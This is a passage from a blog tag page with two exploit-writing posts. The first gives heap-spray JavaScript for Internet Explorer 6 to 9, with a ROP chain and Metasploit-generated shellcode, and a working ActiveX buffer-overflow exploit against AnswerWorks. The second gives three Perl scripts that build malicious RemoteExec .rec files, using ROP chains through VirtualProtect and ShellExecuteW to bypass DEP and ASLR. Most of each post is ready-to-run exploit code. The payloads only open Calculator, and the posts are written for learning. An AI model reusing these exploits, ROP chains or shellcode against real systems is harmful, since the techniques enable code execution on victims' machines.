ROP

All posts tagged ROP

Lately I have been learning to write some exploits for some of my old discovered vulnerabilities to get it working on Windows 7 with IE9. Previously when exploiting vulnerabilities my POCs had always been on Windows XP IE6 just to make sure it worked and not having to worry about all the mitigations in later versions. In this post I am just sharing some basic info which will hopefully to help others when writing/understanding exploits for the first time while at the same time keeping it simple and not worrying to much about performance or precision. In my old exploits I used the heap spraying code below when testing on IE6.  (Just removed the un from unescape as Symantec’s Endpoint Protection doesnt like it in this section, maybe they are just too close to each other 🙂 as the following unescapes are fine)

<SCRIPT language="JavaScript"> 
 var calc, chunk_size, headersize, nopsled, nopsled_len;
 var heap_chunks, i;
  calc = escape("%ucccc%ucccc");
  chunk_size = 0x40000;
  headersize = 0x24;
  nopsled = escape("%u0c0c%u0c0c");
  nopsled_len = chunk_size - (headersize + calc.length);
  while (nopsled.length < nopsled_len)
     nopsled += nopsled;
  nopsled = nopsled.substring(0, nopsled_len);
  heap_chunks = new Array();
  for (i = 0 ; i < 1000 ; i++)
     heap_chunks[i] = nopsled + calc;
</SCRIPT>

From IE8 things had changed not only because it supported DEP but heap spraying for the above code did not spray the heap. After going through some exploits a realised the only change from the above code I really had to make was by spraying the heap using “substring” function. So the code would now look like this

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

Trying this heap spray code now on Windows 7 with IE9 again failed to spray. After reading Peter Van Eeckhoutte’s heap spraying tutorial on how heap spraying was achieved in IE9 got me thinking to see if I could simplify the code and after a few tests it literately came down to just changing one byte in each chunk. So my final spray code ended up is adding a count to each chunk just to make it unique

for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

This code would now spray on all IE browsers and execute our payload on machines that did not support DEP. With machines supporting DEP a ROP chain is required to make our code executable. For this I decided to use ROP chains generated by mona on library msvcr71.dll which gets shipped with Java 6 and is a non-ASLRed. Due to jumping to our first gadget needed to be precise I wanted to write a javascript code where our sprayed chunks will be full of rop nops saving me the trouble of calculating the precise offset as offsets might vary from different OS’es plus landing in another chunk might have another offset. Alignment is still an issue at times but just incrementing or decrementing our used return address normally solves the issue. So each chunk would only have one rop + calc shellcode at the end of the chunk instead of multiple shellcode blocks in a chunk. All I did was change the nopshed value to

nopsled = unescape("%q6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]

Putting it all together we now get a working script for Internet Explorer 6/7/8 and 9. (I had to replace the u with a q otherwise the formatting on the browser gets messed up).

<SCRIPT language="JavaScript"> 
 function padnum(n, numdigits)
 {
   n = n.toString();
   var pnum = '';
   if (numdigits > n.length)
   {
     for (z = 0; z < (numdigits - n.length); z++)
      pnum += '0';
   }
   return pnum + n.toString();
 }
 var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
 var heap_chunks, i, codewithnum;
//        
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
//
 rop = unescape(
 "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
 "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
 "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
 "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
 "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
 "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
 "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
 "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
 "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
 "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
 "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
 "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
 "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
 "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
 "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
 "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
 calc = unescape(
 "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
 "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
 "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
 "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
 "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
 "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
 "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
 "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
 "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
 "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
 "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
 "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
 "%q6c61%q2e63%q7865%q0065");
//
 chunk_size = 0x40000;
 headersize = 0x24;
 nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
 nopsled_len = chunk_size - (headersize + rop.length + calc.length);
 while (nopsled.length < nopsled_len)
    nopsled += nopsled;
 nopsled = nopsled.substring(0, nopsled_len);
 code = nopsled + rop + calc;                             
 heap_chunks = new Array();
 for (i = 0 ; i < 1000 ; i++)
 {
    codewithnum = padnum(i,4) + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
 }
</SCRIPT>

Here are two images from the top and bottom of one of the chunks.

One thing to note is that the calc shellcode size in the above example is 200 bytes and this size needs to be set in our rop chain. Due to the fact that the shellcode is at the bottom of the chunk if the size used by VirtualProtect is greater than our shellcode it reads past the chunk leading to an invalid address and triggering an exception.

Here is an example of an exploit I wrote for testing purposes. I discovered this one quite some time ago. The ActiveX library awApi4.dll from “Vantage Linguistics AnswerWorks” contains a number of vulnerable stack-based buffer overflow methods. The Secunia advisory link is here. The ActiveX control had been killbitted at the time with a Microsoft patch MS07-069/942615.

<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc">
</OBJECT>
<SCRIPT language="JavaScript"> 
   var buffer = "";
   for (i = 0; i < 215; i++) buffer += unescape("%41")
   buffer += unescape("%23%62%37%7c")   // 0x7c376223 POP EAX # RETN
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%42%42%42%42")   // compensate
   buffer += unescape("%08%08%08%08")   // fill return address
   buffer += unescape("%a9%13%34%7c")   // XCHG EAX,ESP # MOV EAX,DWORD
                                        // PTR DS:[EAX] #PUSH EAX #RETN
   buffer += unescape("%24%62%37%7c")   // 0x7c376224 RETN
   for (i = 0; i < 20; i++) buffer += unescape("%43")
   poc.GetHistory(buffer);
</SCRIPT>

This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is “answerworks” without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE’s process space as I had noticed on one of my test machines that it does not load up.

This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I’ll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.

References:

http://secunia.com/advisories/26566/
http://www.vantagelinguistics.com/answerworks/release/
http://technet.microsoft.com/en-us/security/bulletin/MS07-069
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

In this post I’ll be writing about a ROP (Return Object Programming) exploit that I had recently developed for a vulnerability I had discovered in an application called “RemoteExec”. The vulnerability is caused when opening a .rec file containing an overly long line triggering a stack-based buffer overflow. It was first published in March 2010 reported in version 4.04 and fixed in version 4.05. Since then a number of later versions have been released. This exploit is being released for educational purposes only.

For this vulnerability the offsets are

[BUFFER x 3072 bytes] + [RET] + [5224 bytes] + [NSEH] + [SEH] + [BUFFER]

In this exploit I will be taking control via the return address. The exploit below needs no explanation as this should work on any Windows operating system not supporting hardware DEP (data execution prevention). The return address in this case points to instruction ‘push esp # ret’ taken from the RemoteExec.exe executable.

my $file = "exp_calcshell.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;
#
# 0x00432360 : push esp # ret | startnull,asciiprint,ascii
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.0.4.0
#
my $eip = pack ('V',0x00432360);
#
# ruby msfpayload windows/exec CMD=calc exitfunc=process R
# | ruby msfencode -e x86/call4_dword_xor
#   -b '\x09\x0a\x0b\x0c\x0d\x1a\x20' -t perl
# [*] x86/call4_dword_xor succeeded with size 220 (iteration=1)
#
my $shellcode =
"\x31\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x95\x23\xb1\x46\x83\xee\xfc\xe2\xf4\x69\xcb\x38\x46" .
"\x95\x23\xd1\xcf\x70\x12\x63\x22\x1e\x71\x81\xcd\xc7\x2f" .
"\x3a\x14\x81\xa8\xc3\x6e\x9a\x94\xfb\x60\xa4\xdc\x80\x86" .
"\x39\x1f\xd0\x3a\x97\x0f\x91\x87\x5a\x2e\xb0\x81\x77\xd3" .
"\xe3\x11\x1e\x71\xa1\xcd\xd7\x1f\xb0\x96\x1e\x63\xc9\xc3" .
"\x55\x57\xfb\x47\x45\x73\x3a\x0e\x8d\xa8\xe9\x66\x94\xf0" .
"\x52\x7a\xdc\xa8\x85\xcd\x94\xf5\x80\xb9\xa4\xe3\x1d\x87" .
"\x5a\x2e\xb0\x81\xad\xc3\xc4\xb2\x96\x5e\x49\x7d\xe8\x07" .
"\xc4\xa4\xcd\xa8\xe9\x62\x94\xf0\xd7\xcd\x99\x68\x3a\x1e" .
"\x89\x22\x62\xcd\x91\xa8\xb0\x96\x1c\x67\x95\x62\xce\x78" .
"\xd0\x1f\xcf\x72\x4e\xa6\xcd\x7c\xeb\xcd\x87\xc8\x37\x1b" .
"\xff\x22\x3c\xc3\x2c\x23\xb1\x46\xc5\x4b\x80\xcd\xfa\xa4" .
"\x4e\x93\x2e\xd3\x04\xe4\xc3\x4b\x17\xd3\x28\xbe\x4e\x93" .
"\xa9\x25\xcd\x4c\x15\xd8\x51\x33\x90\x98\xf6\x55\xe7\x4c" .
"\xdb\x46\xc6\xdc\x64\x25\xf4\x4f\xd2\x46";
my $payload = $junk1 . $eip . $junk2 . $shellcode;
print "Payload size : " . length($payload) . "\n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "REC File $file Created successfully\n";

 

To run this exploit on a Windows 7 OS which has ASLR and supports hardware DEP would still work as the return address is taken from the binary itself (RemoteExec.exe) which is not compiled to use ALSR and DEP. Also by default Windows 7 DEP mode is set to “Optin” which means it only protects essential Windows programs and services.

If DEP was set for “OptOut” or “AlwaysOn” then this exploit would fail. So this is our challenge in building a reliable ROP exploit by

1. Calling an API to disable DEP or make our stack code executable
2. Using all instructions from RemoteExec.exe i.e. ROP gadgets as this binary does not support ASLR.

Using VirtualProtect API

For this exploit I will be using the VirtualProtect API to change the access protection of memory in the calling process and use the PUSHAD technique to push our register values in the stack before calling our API. Our registers will need to contain values required for the VirtualProtect parameters.

EDI – ROP NOP (RETN)
ESI – ptr to VirtualProtect()
EBP – ReturnTo (ptr to jmp esp)
ESP – lPAddress (automatic)
EBX – Size
EDX – NewProtect (0x40)
ECX – lpOldProtect (Writable ptr)
EAX – NOP (0x90909090)

The values we can place in our registers using ROP gadgets outputted from mona.py script. To call VirtualProtect I was hoping to find a pointer in the IAT (Imported address table) which I viewed using IDA Pro Free but unfortunately was unsuccessful.

If I did find a pointer then I would have been able to use this pointer to VirtualProtect as pointers in IAT would be static and would not change. Using the VirtualProtect pointer address from Windows 7 kernel32.dll library would be pretty useless as in the next OS reboot the address would change due to Windows libraries compiled to use ASLR.

Fortunately looking down the near the bottom of our process stack after setting a breakpoint on our return to stack return address we see a pointer to an address in Kernel32.dll. What we need to do now is to go all the way down using ROP gadgets and copy this pointer value, do some calculations to obtain our VirtualProtect address.

In the exploit below I have laid it out on the order how PUSHAD pushes the registers onto the stack. The register value of interest would be ESI which after its ROP chain will end up containing a pointer to VirtualProtect.

my $file  = "exp_calcvirtualprotectdeprop.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;                # compensate 4 bytes
my $nops  = "\x90" x 30;
my $eip   = pack('V',0x00469038);      # RETN - return to stack
#
# EDI -> RETN
#
my $rop=pack('V',0x00478102);          # POP EDI (ROP NOP)
$rop .= pack('V',0x00469038);          # RETN
#
# ESI -> VirtualProtect()
#
#  Copy ESI to EAX
#
$rop .= pack('V',0x0047b6fd);          # ADD EAX,ESI # POP ESI # RETN
$rop .= pack('V',0x00469038);          # RETN - Compensate
#
#  EAX value is 0x0012EA70. Has to be 0x0012FF8C which is our kernel32
#  pointer. We need to add 0x151C or 5404 bytes to get to our pointer.
#  This value needs to be checked that it doesnt change after boot. This
#  distance is the same after reboots both for Windows 7 and XP.
#
#  0012FF8C |77121114 RETURN to kernel32.77121114
#  address 0x77121114 will change at next bootup
#
#  The below chain will keep adding to EAX to end pointing to 0x0012FF8C
#
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
#
#  Need to add 28 bytes more to get 5404 bytes
#
$rop .= pack('V',0x004481c4) x 2;      # ADD EAX,0C # RETN
$rop .= pack('V',0x00474b27) x 4;      # INC EAX # RETN
#
#  Now we take the pointer at 0x0012FF8C and copy to EAX
#
$rop .= pack('V',0x00466de3);        # MOV EAX,DWORD PTR DS:[EAX] # RETN 
#
#  EAX now contains pointer to kernel32.dll 0x77121114 and need to
#  substract 0xC049 or 49225 bytes to point to VirtualProtect in this
#  boot as the address of VirtualProtect is 0x771150cb in this instance.
#  0x77121114 - 0x771150cb = 0xC049 (49225 bytes)
#  Place 0xC049 in ECX
#
$rop .= pack('V',0x0046c000);          # POP ECX # RETN
$rop .= pack('V',0x0000C049);          # 0xC049
#
#  Subtracting
#
$rop .= pack('V',0x00469c24);          # SUB EAX,ECX # RETN
#
#  Placing VirtualProtect pointer in ESI
#
$rop .= pack('V',0x00459d14);          # PUSH EAX # POP ESI # RETN 04
#
# EBP -> ReturnTo
#
$rop .= pack('V',0x0046b803);          # POP EBP # RETN
$rop .= pack('V',0x41414141);          # junk, compensate
$rop .= pack('V',0x00432360);          # ptr to 'push esp # ret'
#
# EBX -> Size
#
$rop .= pack('V',0x0041a80e);          # POP EBX # RETN
$rop .= pack('V',0x000001f4);          # Size mark as executable 500
#
# EDX -> NewProtect (0x40)
#
$rop .= pack('V',0x00469787);          # POP EDX # RETN
$rop .= pack('V',0x00000040);          # newProtect (0x40)
#
# ECX -> lpOldProtect (Writable ptr)
#
$rop .= pack('V',0x0046c000);          # POP ECX # RETN
$rop .= pack('V',0x0048d000);          # RW pointer (lpOldProtect)
#
# EAX -> NOP (0x90909090)
#
$rop .= pack('V',0x0046d241);          # POP EAX # RETN
$rop .= pack('V',0x90909090);          # NOPS
#
# PUSHAD
#
$rop .= pack('V',0x00478b8c);          # PUSHAD # RETN
#
# ruby msfpayload windows/exec CMD=calc exitfunc=process R
# | ruby msfencode -e x86/call4_dword_xor
#  -b '\x09\x0a\x0b\x0c\x0d\x1a\x20' -t perl
# [*] x86/call4_dword_xor succeeded with size 220 (iteration=1)
#
my $shellcode =
"\x31\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x95\x23\xb1\x46\x83\xee\xfc\xe2\xf4\x69\xcb\x38\x46" .
"\x95\x23\xd1\xcf\x70\x12\x63\x22\x1e\x71\x81\xcd\xc7\x2f" .
"\x3a\x14\x81\xa8\xc3\x6e\x9a\x94\xfb\x60\xa4\xdc\x80\x86" .
"\x39\x1f\xd0\x3a\x97\x0f\x91\x87\x5a\x2e\xb0\x81\x77\xd3" .
"\xe3\x11\x1e\x71\xa1\xcd\xd7\x1f\xb0\x96\x1e\x63\xc9\xc3" .
"\x55\x57\xfb\x47\x45\x73\x3a\x0e\x8d\xa8\xe9\x66\x94\xf0" .
"\x52\x7a\xdc\xa8\x85\xcd\x94\xf5\x80\xb9\xa4\xe3\x1d\x87" .
"\x5a\x2e\xb0\x81\xad\xc3\xc4\xb2\x96\x5e\x49\x7d\xe8\x07" .
"\xc4\xa4\xcd\xa8\xe9\x62\x94\xf0\xd7\xcd\x99\x68\x3a\x1e" .
"\x89\x22\x62\xcd\x91\xa8\xb0\x96\x1c\x67\x95\x62\xce\x78" .
"\xd0\x1f\xcf\x72\x4e\xa6\xcd\x7c\xeb\xcd\x87\xc8\x37\x1b" .
"\xff\x22\x3c\xc3\x2c\x23\xb1\x46\xc5\x4b\x80\xcd\xfa\xa4" .
"\x4e\x93\x2e\xd3\x04\xe4\xc3\x4b\x17\xd3\x28\xbe\x4e\x93" .
"\xa9\x25\xcd\x4c\x15\xd8\x51\x33\x90\x98\xf6\x55\xe7\x4c" .
"\xdb\x46\xc6\xdc\x64\x25\xf4\x4f\xd2\x46";
my $payload = $junk1 . $eip . $junk2 . $rop . $nops . $shellcode;
print "Payload size : " . length($payload) . "\n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "REC File $file Created successfully\n";

 

If we were to run this exploit in Windows XP even though these steps are not required as XP doesn’t support ASLR the distance to our kernel pointer would be the same (5404 bytes) but our distance to VirtualProtect pointer from our kernel pointer would be different so the exploit would fail. For Windows 7 we need to subtract 0xC049 whereas in Windows XP would be 0x155A3.

You might be wondering where did I get this magic value of 0xC049? Well even though our kernel pointer and VirtualProtect API values change every time at boot, subtracting them the sum would always be the same.

Below is a table of addresses at each boot

Stack address Kernel pointer VirtualProtect Magic value
0012FF8C 76E01114 76df50cb C049 (49225 bytes)
0012FF8C 76631114 766250cb C049 (49225 bytes)
0012FF8C 768E1114 768d50cb C049 (49225 bytes)
0012FF8C 77121114 771150cb C049 (49225 bytes)

 

Using ShellExecuteW API

What if we cannot obtain our kernel pointer from the stack? Well we can check all the pointers to API’s in the IAT and see what we can use. One API that stood out for me was ShellExecuteW. This is perfect to use for our code execution.

This API uses 6 parameters and again we can use the PUSHAD technique to push most of the parameter values in the stack. If coding in C you would write something like this:

ShellExecuteW(NULL, L"open", L"calc.exe", NULL, NULL, SW_SHOWNORMAL);

 

Checking the ShellExecuteW API we can see that most of the parameters can be set to NULL thus writing our ROP exploit that much easier.

HINSTANCE ShellExecute(
__in_opt HWND hwnd,
__in_opt LPCTSTR lpOperation,
__in LPCTSTR lpFile,
__in_opt LPCTSTR lpParameters,
__in_opt LPCTSTR lpDirectory,
__in INT nShowCmd
);

 

So when pushing the values in the stack using PUSHAD the only pointers we need to work on are ECX and EAX. ECX will need to point to cmd and EAX to our chained commands. The strings i.e. cmd and our chained commands has to be in unicode as the API we are calling supports unicode only.

EDI – ROP NOP (RETN)
ESI – ROP NOP (RETN)
EBP – ptr to ShellExecuteW()
ESP – top of stack
EBX – hWnd = NULL
EDX – Operation = NULL
ECX – FileName = “cmd”
EAX – Parameters = “////////////////ccalc.exe&calc.exe

DefDir = NULL
IsShown = 0

my $file = "exp_calcshellexecuterop.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;               # compensate 4 bytes
my $eip = pack('V',0x00469038);       # RETN - return to stack
#
# ESP -> ECX (save esp in ecx for later use)
#
my $rop=pack('V',0x0047b6fd);         # ADD EAX,ESI # POP ESI # RETN
$rop .= pack('V',0x00469038);         # RETN - Compensate
$rop .= pack('V',0x00462a47);       # PUSH ESP # ADD BYTE PTR DS:[EAX],AL
#                                     POP ECX # RETN
#
# EDI -> RETN
#
$rop .= pack('V',0x00478102);         # POP EDI (ROP NOP)
$rop .= pack('V',0x00469038);         # RETN
#
# ESI -> RETN
#
$rop .= pack('V',0x0042807d);         # POP ESI (ROP NOP)
$rop .= pack('V',0x00469038);         # RETN
#
# EBP -> ShellExecuteW()
#
$rop .= pack('V',0x0046d241);         # POP EAX # RETN
$rop .= pack('V',0x00481380);         # IAT Pointer to ShellExecuteW()
$rop .= pack('V',0x00466de3);         # MOV EAX,DWORD PTR DS:[EAX] # RETN
$rop .= pack('V',0x0046f2bb);    # XCHG EAX,EBP # ADD EAX,B70F0000 # RETN
#
# EBX -> 00000000 -> hWnd = NULL
#
$rop .= pack('V',0x0047804f);         # POP EBX # RETN
$rop .= pack('V',0xFFFFFFFF);         # <- will be put in EBX
$rop .= pack('V',0x00466cc5);         # INC EBX # XOR EAX,EAX # RETN
#
# EDX -> 00000000 -> Operation = NULL
#
$rop .= pack('V',0x00468d8c);         # XOR EDX,EDX # RETN 
#
# ECX -> ptr to filename which is cmd
#
$rop .= pack('V',0x0045b660);         # MOV EAX,ECX # RETN
$rop .= pack('V',0x0046852b);         # INC EAX # ADD AL,50 # RETN
$rop .= pack('V',0x00455e49) x 14;    # INC EAX # RETN
$rop .= pack('V',0x0046852b);         # INC EAX # ADD AL,50 # RETN
$rop .= pack('V',0x0042df81);   # PUSH EAX # ADD AL,5B # POP ECX #RETN 08
$rop .= pack('V',0x00469038) x 3;     # RETN - Compensate
#
# EAX -> ptr to parameters
#
$rop .= pack('V',0x0045b660);         # MOV EAX,ECX # RETN
$rop .= pack('V',0x004481c4);         # ADD EAX,0C # RETN
#
# PUSHAD
#
$rop .= pack('V',0x00478b8c);         # PUSHAD # RETN
#
# Remaining arguments
#
my $args=pack('V',0x00000000);        # DefDir = NULL
$args .= pack('V',0x00000000);        # IsShown = 0
my $padding = "\x43" x 24;
#
# cmd in unicode
#
my $cmd =
"\x63\x00\x6d\x00\x64\x00\x00\x00";
#
# / in unicode
#
my $nops =
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00";
#
# /ccalc.exe&calc.exe in unicode
#
my $parameters =
"\x2f\x00\x63\x00\x63\x00\x61\x00\x6c\x00\x63\x00\x2e\x00".
"\x65\x00\x78\x00\x65\x00\x26\x00\x63\x00\x61\x00\x6c\x00\x63\x00".
"\x2e\x00\x65\x00\x78\x00\x65\x00";
#
my $pay = $junk1.$eip.$junk2.$rop.$args.$padding.$cmd.$nops.$parameters;
print "Payload size : " . length($pay) . "\n";
open($FILE,">$file");
print $FILE $pay;
close($FILE);
print "REC File $file Created successfully\n";

 

So our API parameters would look like this below where here we are executing two calculators.

ShellExecuteW(NULL, NULL, L"cmd", L"/ccalc.exe&calc.exe", NULL, 0);

 

The interesting thing in this case is that the offset to “Parameters” parameter is not always precise for Windows XP and Windows 7 so I have used forward slashes which acts as nops so it would look something like this below making it work for both operating systems.

ShellExecuteW(NULL, NULL, L"cmd", L"//////ccalc.exe&calc.exe", NULL, 0);

 

I would like to thank to Peter Van Eeckhoutte’s superb tutorial “Chaining DEP with ROP – the Rubik’s[TM] Cube” and the Corelan team for the mona.py script. Without these two materials learning ROP exploitation would have been a lot harder. I recommend reading this tutorial as it explains the theory behind ROP and other techniques that can be used to exploit.

Finally when starting to write an exploit always remove any bad characters before anything else as it will save time in the long run. In this exploit the bad characters were ‘\x09\x0a\x0b\x0c\x0d\x1a\x20’ which cannot be used at all in our REC file. If we were only trying to exploit in Windows XP then just calling the VirtualProtect API address would normally work which is 0x7c801ad4 but as you can see in this case it contains 0x1a which would break the exploit. One way to get round this is to place a value not containing 0x1a and do ADD/SUB ROP gadgets to get to VirtualProtect.

References:

http://secunia.com/advisories/38733/
http://blog.isdecisions.com/post/452928936/security-update-for-remoteexec
http://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/